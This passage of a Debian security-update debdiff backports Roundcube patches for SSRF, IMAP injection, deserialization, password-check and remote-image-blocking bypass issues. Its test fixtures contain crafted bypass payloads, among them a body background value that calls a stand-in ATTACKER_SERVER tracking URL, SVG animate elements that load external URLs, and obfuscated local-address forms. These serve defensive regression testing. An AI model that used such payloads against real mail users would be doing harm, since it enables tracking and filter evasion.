src=\"data:image/png;base64,12345\n\t+/ABC=\" /></p>", 
$this->cleanupResult($washed));
     }
 
     /**
@@ -262,12 +262,19 @@
         $washer = new rcube_washtml(['html_elements' => ['body']]);
         $washed = $washer->wash($html);
 
-        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
"Body bgcolor attribute");
-        $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body 
text attribute");
-        $this->assertMatchesRegularExpression('|background="#test"|', $washed, 
"Body background attribute");
-        $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body 
link attribute");
-        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, "Body 
alink attribute");
-        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, "Body 
vlink attribute");
+        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
'Body bgcolor attribute');
+        $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body 
text attribute');
+        $this->assertMatchesRegularExpression('|background="#test"|', $washed, 
'Body background attribute');
+        $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body 
link attribute');
+        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 'Body 
alink attribute');
+        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 'Body 
vlink attribute');
+
+        $html = '<html><body 
background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
+
+        $washer = new \rcube_washtml(['html_elements' => ['body']]);
+        $washed = $washer->wash($html);
+
+        $this->assertMatchesRegularExpression('|x-washed="background"|', 
$washed, 'Body evil background');
     }
 
     /**
@@ -500,6 +507,24 @@
                 '<html><svg><defs><filter><feImage 
xlink:href="http://external.site"/></filter></defs></html>',
                 '<svg><defs><filter><feImage 
x-washed="xlink:href"></feImage></filter></defs></svg>',
             ],
+            [
+                '<svg><animate attributeName="mask" 
values="url(https://external.site)" fill="freeze" dur="0.1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
+            [
+                '<svg><animate attributeName="mask" 
values="none;url(https://external.site);url(https://external.site)"'
+                    . ' repeatCount="indefinite" dur="1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
+            [
+                '<svg><animate attributeName="cursor" attributeType="CSS" 
values="url(https://external.site),auto"'
+                    . ' feel="freeze" dur="1s" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
+            [
+                '<svg><animate attributeName="fill" 
values="url(http://external.site)" dur="1s" begin="0s" fill="freeze" /></svg>',
+                '<svg><!-- animate blocked --></svg>',
+            ],
         ];
     }
 
diffstat for roundcube-1.6.5+dfsg roundcube-1.6.5+dfsg

 changelog                                                               |   23 
+
 patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch            |  107 
++++++
 patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch             |   42 
++
 patches/Fix-SSRF-Information-Disclosure-via-stylesheet-links-to-a.patch |  164 
++++++++++
 patches/Fix-SVG-Animate-FUNCIRI-Attribute-Bypass-Remote-Image-Loa.patch |   39 
++
 patches/Fix-XSS-issue-in-a-HTML-attachment-preview.patch                |   26 
+
 patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch |   33 
++
 patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch |   40 
++
 patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch |   43 
++
 patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch |   38 
++
 patches/Fix-regression-where-some-data-url-images-could-get-ignor.patch |   43 
++
 patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch |   60 
+++
 patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch |  112 
++++++
 patches/series                                                          |   12 
 14 files changed, 782 insertions(+)

diff -Nru roundcube-1.6.5+dfsg/debian/changelog 
roundcube-1.6.5+dfsg/debian/changelog
--- roundcube-1.6.5+dfsg/debian/changelog       2026-02-11 12:05:21.000000000 
+0100
+++ roundcube-1.6.5+dfsg/debian/changelog       2026-03-20 19:15:19.000000000 
+0100
@@ -1,3 +1,26 @@
+roundcube (1.6.5+dfsg-1+deb12u8) bookworm-security; urgency=high
+
+  * Cherry pick upstream security fixes from v1.6.14 and v1.6.15 (closes:
+    #1131182, #1132268):
+    + Fix pre-auth arbitrary file write via unsafe deserialization in
+      redis/memcache session handler.
+    + Fix bug where a password could get changed without providing the old
+      password.
+    + Fix IMAP Injection + CSRF bypass in mail search.
+    + Fix remote image blocking bypass via various SVG animate attributes.
+    + Fix remote image blocking bypass via a crafted <body> background
+      attribute.
+    + Fix fixed position mitigation bypass via use of `!important`.
+    + Fix XSS vulnerability in HTML attachment preview.
+    + Fix SSRF and information disclosure vulnerability via stylesheet links
+      pointing to a local network hosts.
+    + Fix SVG animate FUNCIRI attribute bypass (remote image loading via
+      fill/filter/stroke).
+  * Add custom patch to avoid runtime dependency on mlocati/ip-lib which is
+    not present in bookworm.
+
+ -- Guilhem Moulin <[email protected]>  Fri, 20 Mar 2026 19:15:19 +0100
+
 roundcube (1.6.5+dfsg-1+deb12u7) bookworm-security; urgency=high
 
   * Cherry pick upstream security fixes from v1.6.13 (closes: #1127447):
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
 
roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
    1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Avoid-dependency-on-new-package-mlocati-ip-lib.patch
    2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,107 @@
+From: Guilhem Moulin <[email protected]>
+Date: Fri, 20 Mar 2026 17:34:30 +0100
+Subject: Avoid dependency on new package mlocati/ip-lib
+
+Which as of today is not present in Debian.  The dependency was
+introduced in 27ec6cc9cb25e1ef8b4d4ef39ce76d619caa6870 in order to fix a
+security issue.  While it can be uploaded to sid, we need another
+solution to fix the vulnerability for older suites.
+
+Bug-Debian: https://bugs.debian.org/1131182
+Forwarded: not-needed
+---
+ program/lib/Roundcube/rcube_utils.php | 45 ++++++++++++++++++++++++-----------
+ tests/Framework/Utils.php             |  6 +++++
+ 2 files changed, 37 insertions(+), 14 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php 
b/program/lib/Roundcube/rcube_utils.php
+index 8ff1db8..c5532be 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -1,7 +1,5 @@
+ <?php
+ 
+-use IPLib\Factory;
+-
+ /*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+@@ -435,24 +433,43 @@ class rcube_utils
+         if (is_string($host)) {
+             // TODO: This is pretty fast, but a single message can contain 
multiple links
+             // to the same target, maybe we should do some in-memory caching.
+-            if ($address = Factory::parseAddressString($host = trim($host, 
'[]'))) {
++            $address = trim($host, '[]');
++            if ((bool)preg_match('/^([0-9a-f:]*:)?
++                                    
((?:(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|0?[1-9][0-9]|0{0,2}[0-9])\.){3}
++                                        
(?:25[0-5]|2[0-4][0-9]|1[0-9][0-9]|0?[1-9][0-9]|0{0,2}[0-9]))$/Dix',
++                                 $address, $matches)) {
++                /* trim leading zeros from IPv4 octets (GuzzleHTTP sanitizes 
such invalid addresses) */
++                $address = @inet_pton($matches[1] . 
preg_replace('/\b0+(?=\d)/', '', $matches[2]));
++            } else {
++                $address = @inet_pton($address);
++            }
++
++            if (is_string($address)) {
+                 $nets = [
+-                    '127.0.0.0/8',    // loopback
+-                    '10.0.0.0/8',     // RFC1918
+-                    '172.16.0.0/12',  // RFC1918
+-                    '192.168.0.0/16', // RFC1918
+-                    '169.254.0.0/16', // link-local / cloud metadata
+-                    '::1/128',
+-                    'fc00::/7',
++                    ['127.0.0.0',   '127.255.255.255'], // loopback
++                    ['10.0.0.0',    '10.255.255.255'],  // RFC1918
++                    ['172.16.0.0',  '172.31.255.255'],  // RFC1918
++                    ['192.168.0.0', '192.168.255.255'], // RFC1918
++                    ['169.254.0.0', '169.254.255.255'], // link-local / cloud 
metadata
+                 ];
++                if (defined('AF_INET6')) {
++                    /* IPv4-compatible and IPv4-mapped IPv6 addresses 
(RFC4291 2.5.5) */
++                    foreach (['::', '::ffff:'] as $prefix) {
++                        foreach ($nets as [$range_start, $range_end]) {
++                            $nets[] = [ $prefix . $range_start, $prefix . 
$range_end ];
++                        }
++                    }
++                    $nets[] = ['::1',    '::1'];
++                    $nets[] = ['fc00::', 
'fdff:ffff:ffff:ffff:ffff:ffff:ffff:ffff'];
++                }
+ 
+-                foreach ($nets as $net) {
+-                    $range = Factory::parseRangeString($net);
+-                    if ($range->contains($address)) {
++                foreach ($nets as [$range_start, $range_end]) {
++                    $range_start = @inet_pton($range_start);
++                    $range_end   = @inet_pton($range_end);
++                    if (strcmp($range_start, $address) <= 0 && 
strcmp($range_end, $address) >= 0) {
+                         return true;
+                     }
+                 }
+-
+                 return false;
+             }
+ 
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index 8a95001..1a24826 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -571,12 +571,18 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         return [
+             // Local hosts
+             ['https://127.0.0.1', true],
++            ['https://127.00.000.0', true],
+             ['https://10.1.1.1', true],
+             ['https://172.16.0.1', true],
+             ['https://192.168.0.100', true],
+             ['https://169.254.0.200', true],
+             ['http://[fc00::1]', true],
+             ['ftp://[::1]:8080', true],
++            ['https://[127.0.0.1]', true],
++            ['https://[::127.0.0.1]', true],
++            ['https://[::127.0.0.001]', true],
++            ['https://[::ffff:192.168.1.2]', true],
++            ['https://[::ffff:192.168.01.002]', true],
+             ['//127.0.0.1', true],
+             ['http://localhost', true],
+             ['http://localhost.localdomain', true],
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-bug-where-a-password-could-get-changed-without-provid.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,33 @@
+From: Aleksander Machniak <[email protected]>
+Date: Tue, 17 Mar 2026 15:18:24 +0100
+Subject: Fix bug where a password could get changed without providing the old
+ password
+
+The password plugin uses loose comparison, leading to a type juggling 
vulnerability that
+allows password changes without knowing the old password in specific cases.
+
+Reported by flydragon777
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/6fa2bddc59b9c9fd31cad4a9e2954a208d793dce
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ plugins/password/password.php | 4 ++--
+ 1 file changed, 2 insertions(+), 2 deletions(-)
+
+diff --git a/plugins/password/password.php b/plugins/password/password.php
+index ebde3ec..e4cdd8a 100644
+--- a/plugins/password/password.php
++++ b/plugins/password/password.php
+@@ -333,10 +333,10 @@ class password extends rcube_plugin
+         else {
+             switch ($type) {
+             case PASSWORD_COMPARE_CURRENT:
+-                $result = $curpwd != $newpwd ? 
$this->gettext('passwordincorrect') : null;
++                $result = $curpwd !== $newpwd ? 
$this->gettext('passwordincorrect') : null;
+                 break;
+             case PASSWORD_COMPARE_NEW:
+-                $result = $curpwd == $newpwd ? $this->gettext('samepasswd') : 
null;
++                $result = $curpwd === $newpwd ? $this->gettext('samepasswd') 
: null;
+                 break;
+             default:
+                 $result = $this->gettext('internalerror');
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-fixed-position-mitigation-bypass-via-use-of-important.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,40 @@
+From: Aleksander Machniak <[email protected]>
+Date: Wed, 18 Mar 2026 10:20:00 +0100
+Subject: Fix fixed position mitigation bypass via use of !important
+
+Reported by nullcathedral
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/099009b9c8e1d3c636fb9a5af72f7c2596018662
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_utils.php | 2 +-
+ tests/Framework/Utils.php             | 3 +++
+ 2 files changed, 4 insertions(+), 1 deletion(-)
+
+diff --git a/program/lib/Roundcube/rcube_utils.php 
b/program/lib/Roundcube/rcube_utils.php
+index d847461..59a26c0 100644
+--- a/program/lib/Roundcube/rcube_utils.php
++++ b/program/lib/Roundcube/rcube_utils.php
+@@ -558,7 +558,7 @@ class rcube_utils
+             if ($property == 'page') {
+                 // Remove 'page' attributes (#7604)
+                 continue;
+-            } elseif ($property == 'position' && strcasecmp($value, 'fixed') 
=== 0) {
++            } elseif ($property == 'position' && stripos($value, 'fixed') !== 
false) {
+                 // Convert position:fixed to position:absolute (#5264)
+                 $value = 'absolute';
+             } elseif (preg_match('/expression|image-set/i', $value)) {
+diff --git a/tests/Framework/Utils.php b/tests/Framework/Utils.php
+index c0e9aea..9a702d6 100644
+--- a/tests/Framework/Utils.php
++++ b/tests/Framework/Utils.php
+@@ -280,6 +280,9 @@ class Framework_Utils extends PHPUnit\Framework\TestCase
+         $mod = \rcube_utils::mod_css_styles('.test { position: fixed; top: 
0;', 'rcmbody');
+         $this->assertSame('#rcmbody .test { position: absolute; top: 0; }', 
$mod, 'Replace position:fixed with position:absolute (6)');
+ 
++        $mod = \rcube_utils::mod_css_styles('.test { position: fixed 
!important; }', 'rcmbody');
++        $this->assertSame('#rcmbody .test { position: absolute; }', $mod, 
'Replace position:fixed with position:absolute (7)');
++
+         // allow data URIs with images (#5580)
+         $mod = rcube_utils::mod_css_styles("body { background-image: 
url(data:image/png;base64,123); }", 'rcmbody');
+         $this->assertStringContainsString("#rcmbody { background-image: 
url(data:image/png;base64,123);", $mod, "Data URIs in url() allowed [1]");
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
     1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-IMAP-Injection-CSRF-bypass-in-mail-search.patch
     2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,42 @@
+From: Aleksander Machniak <[email protected]>
+Date: Tue, 17 Mar 2026 15:34:13 +0100
+Subject: Fix IMAP Injection + CSRF bypass in mail search
+
+Reported by Martila Security Research Team
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/b18a8fa8e81571914c0ff55d4e20edb459c6952c
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 4 ++++
+ program/actions/mail/send.php   | 3 +++
+ 2 files changed, 7 insertions(+)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 84b4909..3dac7a5 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -71,6 +71,10 @@ class rcmail_action_mail_search extends 
rcmail_action_mail_index
+         $sort_column = self::sort_column();
+         $sort_order  = self::sort_order();
+ 
++        // We pass the filter as-is into IMAP SEARCH command. A newline could 
be used
++        // to inject extra commands, so we remove these.
++        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+         // set message set for already stored (but incomplete) search request
+         if (!empty($continue) && isset($_SESSION['search']) && 
$_SESSION['search_request'] == $continue) {
+             $rcmail->storage->set_search_set($_SESSION['search']);
+diff --git a/program/actions/mail/send.php b/program/actions/mail/send.php
+index a28d7f9..0226fdc 100644
+--- a/program/actions/mail/send.php
++++ b/program/actions/mail/send.php
+@@ -281,6 +281,9 @@ class rcmail_action_mail_send extends rcmail_action
+         }
+ 
+         if ($savedraft) {
++            // Sanitize the IMAP SEARCH input
++            $message_id = preg_replace('/[\r\n]+/', '', $message_id);
++
+             // remember new draft-uid ($saved could be an UID or true/false 
here)
+             if ($saved && is_bool($saved)) {
+                 $index = $rcmail->storage->search_once($drafts_mbox, 'HEADER 
Message-ID ' . $message_id);
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-pre-auth-arbitrary-file-write-via-unsafe-deserializat.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,43 @@
+From: Aleksander Machniak <[email protected]>
+Date: Tue, 17 Mar 2026 15:11:38 +0100
+Subject: Fix pre-auth arbitrary file write via unsafe deserialization in
+ redis/memcache session handler
+
+Disable GuzzleHttp\Cookie\FileCookieJar instantiation.
+
+Reported by y0us.
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/a4ead994d2f0ea92e4a1603196a197e0d5df1620
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/include/iniset.php | 11 ++++++++++-
+ 1 file changed, 10 insertions(+), 1 deletion(-)
+
+diff --git a/program/include/iniset.php b/program/include/iniset.php
+index c4ab39f..4dc4937 100644
+--- a/program/include/iniset.php
++++ b/program/include/iniset.php
+@@ -1,6 +1,8 @@
+ <?php
+ 
+-/**
++use GuzzleHttp\Cookie\FileCookieJar;
++
++/*
+  +-----------------------------------------------------------------------+
+  | This file is part of the Roundcube Webmail client                     |
+  |                                                                       |
+@@ -80,6 +82,13 @@ require_once 'Roundcube/bootstrap.php';
+ // register autoloader for rcmail app classes
+ spl_autoload_register('rcmail_autoload');
+ 
++// disable use of dangerous dependencies
++spl_autoload_register(static function ($classname) {
++    if ($classname === FileCookieJar::class) {
++        throw new \Exception("{$classname} is forbidden for security 
reasons.");
++    }
++}, true, true);
++
+ /**
+  * PHP5 autoloader routine for dynamic class loading
+  */
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-mail-search-would-fail-on-non-ascii-.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,38 @@
+From: Aleksander Machniak <[email protected]>
+Date: Thu, 19 Mar 2026 14:11:06 +0100
+Subject: Fix regression where mail search would fail on non-ascii search
+ criteria
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/6b137adda9b042c3742b0f968692e95ed367d3d1
+Bug: https://github.com/roundcube/roundcubemail/issues/10121
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/actions/mail/search.php | 8 ++++----
+ 1 file changed, 4 insertions(+), 4 deletions(-)
+
+diff --git a/program/actions/mail/search.php b/program/actions/mail/search.php
+index 3dac7a5..2525b0f 100644
+--- a/program/actions/mail/search.php
++++ b/program/actions/mail/search.php
+@@ -56,6 +56,10 @@ class rcmail_action_mail_search extends 
rcmail_action_mail_index
+         // add list filter string
+         $search_str = $filter && $filter != 'ALL' ? $filter : '';
+ 
++        // We pass the filter as-is into IMAP SEARCH command. A newline could 
be used
++        // to inject extra commands, so we remove these.
++        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
++
+         if ($search_interval = self::search_interval_criteria($interval)) {
+             $search_str .= ' ' . $search_interval;
+         }
+@@ -71,10 +75,6 @@ class rcmail_action_mail_search extends 
rcmail_action_mail_index
+         $sort_column = self::sort_column();
+         $sort_order  = self::sort_order();
+ 
+-        // We pass the filter as-is into IMAP SEARCH command. A newline could 
be used
+-        // to inject extra commands, so we remove these.
+-        $search_str = preg_replace('/[\r\n]+/', ' ', $search_str);
+-
+         // set message set for already stored (but incomplete) search request
+         if (!empty($continue) && isset($_SESSION['search']) && 
$_SESSION['search_request'] == $continue) {
+             $rcmail->storage->set_search_set($_SESSION['search']);
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-some-data-url-images-could-get-ignor.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-some-data-url-images-could-get-ignor.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-some-data-url-images-could-get-ignor.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-regression-where-some-data-url-images-could-get-ignor.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,43 @@
+From: Aleksander Machniak <[email protected]>
+Date: Sat, 28 Mar 2026 09:28:34 +0100
+Subject: Fix regression where some data url images could get ignored/lost
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/5aba847cb8d5e00a52405e5cd1becb7ec0dcbe4b
+Bug: https://github.com/roundcube/roundcubemail/issues/10128
+---
+ program/lib/Roundcube/rcube_washtml.php | 2 +-
+ tests/Framework/Washtml.php             | 4 ++--
+ 2 files changed, 3 insertions(+), 3 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php 
b/program/lib/Roundcube/rcube_washtml.php
+index abca35f..5b0115b 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -428,7 +428,7 @@ class rcube_washtml
+             }
+ 
+             // At this point we allow only valid base64 images
+-            if (stripos($type, 'base64') === false || 
preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
++            if (stripos($type, 'base64') === false || 
preg_match('|[^0-9a-z\s/+=]|i', $matches[2])) {
+                 return '';
+             }
+ 
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index ff2ad0f..920d5ca 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -54,12 +54,12 @@ class Framework_Washtml extends PHPUnit\Framework\TestCase
+      */
+     function test_data_image_with_newline()
+     {
+-        $html = "<p><img src=\"data:image/png;base64,12345\n\t67890\" /></p>";
++        $html = "<p><img src=\"data:image/png;base64,12345\n\t+/ABC=\" 
/></p>";
+ 
+         $washer = new rcube_washtml;
+         $washed = $washer->wash($html);
+ 
+-        $this->assertSame("<p><img 
src=\"data:image/png;base64,12345\n\t67890\" /></p>", 
$this->cleanupResult($washed));
++        $this->assertSame("<p><img 
src=\"data:image/png;base64,12345\n\t+/ABC=\" /></p>", 
$this->cleanupResult($washed));
+     }
+ 
+     /**
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-a-crafted-body-backg.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,60 @@
+From: Aleksander Machniak <[email protected]>
+Date: Wed, 18 Mar 2026 10:15:43 +0100
+Subject: Fix remote image blocking bypass via a crafted body background
+ attribute
+
+Reported by nullcathedral
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/fde14d01adc9f37893cd82b635883e516ed453f8
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php |  5 +++++
+ tests/Framework/Washtml.php             | 19 +++++++++++++------
+ 2 files changed, 18 insertions(+), 6 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php 
b/program/lib/Roundcube/rcube_washtml.php
+index 4e05462..abca35f 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -427,6 +427,11 @@ class rcube_washtml
+                 return 'data:image/' . $type . ',' . base64_encode($svg);
+             }
+ 
++            // At this point we allow only valid base64 images
++            if (stripos($type, 'base64') === false || 
preg_match('|[^0-9a-z\s/+]|i', $matches[2])) {
++                return '';
++            }
++
+             return $uri;
+         }
+     }
+diff --git a/tests/Framework/Washtml.php b/tests/Framework/Washtml.php
+index 457e8eb..ff2ad0f 100644
+--- a/tests/Framework/Washtml.php
++++ b/tests/Framework/Washtml.php
+@@ -262,12 +262,19 @@ class Framework_Washtml extends 
PHPUnit\Framework\TestCase
+         $washer = new rcube_washtml(['html_elements' => ['body']]);
+         $washed = $washer->wash($html);
+ 
+-        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
"Body bgcolor attribute");
+-        $this->assertMatchesRegularExpression('|text="#000"|', $washed, "Body 
text attribute");
+-        $this->assertMatchesRegularExpression('|background="#test"|', 
$washed, "Body background attribute");
+-        $this->assertMatchesRegularExpression('|link="#111"|', $washed, "Body 
link attribute");
+-        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 
"Body alink attribute");
+-        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 
"Body vlink attribute");
++        $this->assertMatchesRegularExpression('|bgcolor="#fff"|', $washed, 
'Body bgcolor attribute');
++        $this->assertMatchesRegularExpression('|text="#000"|', $washed, 'Body 
text attribute');
++        $this->assertMatchesRegularExpression('|background="#test"|', 
$washed, 'Body background attribute');
++        $this->assertMatchesRegularExpression('|link="#111"|', $washed, 'Body 
link attribute');
++        $this->assertMatchesRegularExpression('|alink="#222"|', $washed, 
'Body alink attribute');
++        $this->assertMatchesRegularExpression('|vlink="#333"|', $washed, 
'Body vlink attribute');
++
++        $html = '<html><body 
background="data:image/png,x);background:url(//ATTACKER_SERVER/track?uid=test"></body></html>';
++
++        $washer = new \rcube_washtml(['html_elements' => ['body']]);
++        $washed = $washer->wash($html);
++
++        $this->assertMatchesRegularExpression('|x-washed="background"|', 
$washed, 'Body evil background');
+     }
+ 
+     /**
diff -Nru 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
--- 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
 1970-01-01 01:00:00.000000000 +0100
+++ 
roundcube-1.6.5+dfsg/debian/patches/Fix-remote-image-blocking-bypass-via-various-SVG-animate-.patch
 2026-03-20 19:15:19.000000000 +0100
@@ -0,0 +1,112 @@
+From: Aleksander Machniak <[email protected]>
+Date: Tue, 17 Mar 2026 15:53:29 +0100
+Subject: Fix remote image blocking bypass via various SVG animate attributes
+
+Reported by nullcathedral
+
+Origin: 
https://github.com/roundcube/roundcubemail/commit/39471343ee081ce1d31696c456a2c163462daae3
+Bug-Debian: https://bugs.debian.org/1131182
+---
+ program/lib/Roundcube/rcube_washtml.php | 38 +++++++++++++++++++++++++--------
+ tests/Framework/Washtml.php             | 14 ++++++++++++
+ 2 files changed, 43 insertions(+), 9 deletions(-)
+
+diff --git a/program/lib/Roundcube/rcube_washtml.php 
b/program/lib/Roundcube/rcube_washtml.php
+index 8721fe7..4e05462 100644
+--- a/program/lib/Roundcube/rcube_washtml.php
++++ b/program/lib/Roundcube/rcube_washtml.php
+@@ -504,22 +504,22 @@ class rcube_washtml
+      * Do it in case-insensitive manner.
+      *
+      * @param DOMElement $node       The element
+-     * @param string     $attr_name  The attribute name
+-     * @param string     $attr_value The attribute value to find
++     * @param string     $attr_value The attribute value to find (regexp)
+      *
+      * @return bool True if the specified attribute exists and has the 
expected value
+      */
+     private static function attribute_value($node, $attr_name, $attr_value)
+     {
+         $attr_name = strtolower($attr_name);
+-        $attr_value = strtolower($attr_value);
+ 
+         foreach ($node->attributes as $name => $attr) {
+             if (strtolower($name) === $attr_name) {
++                $val = trim($attr->nodeValue);
+                 // Read the attribute name, remove the namespace (e.g. 
xlink:href => href)
+-                $val = strtolower(trim($attr->nodeValue));
+-                $val = trim(preg_replace('/^.*:/', '', $val));
+-                if ($attr_value === $val) {
++                if ($attr_name === 'attributename') {
++                    $val = trim(preg_replace('/^.*:/', '', $val));
++                }
++                if (preg_match($attr_value, $val)) {
+                     return true;
+                 }
+             }
+@@ -528,6 +528,27 @@ class rcube_washtml
+         return false;
+     }
+ 
++    /**
++     * Check if the node is an insecure element
++     *
++     * @param \DOMElement $node
++     */
++    private static function is_insecure_tag($node)
++    {
++        $tagName = strtolower($node->nodeName);
++
++        if (!in_array($tagName, ['animate', 'animatecolor', 'set', 
'animatetransform'])) {
++            return false;
++        }
++
++        if (self::attribute_value($node, 'attributeName', '/^href$/i')) {
++            return true;
++        }
++
++        return self::attribute_value($node, 'attributeName', 
'/^(mask|cursor)$/i')
++            && self::attribute_value($node, 'values', '/url\(/i');
++    }
++
+     /**
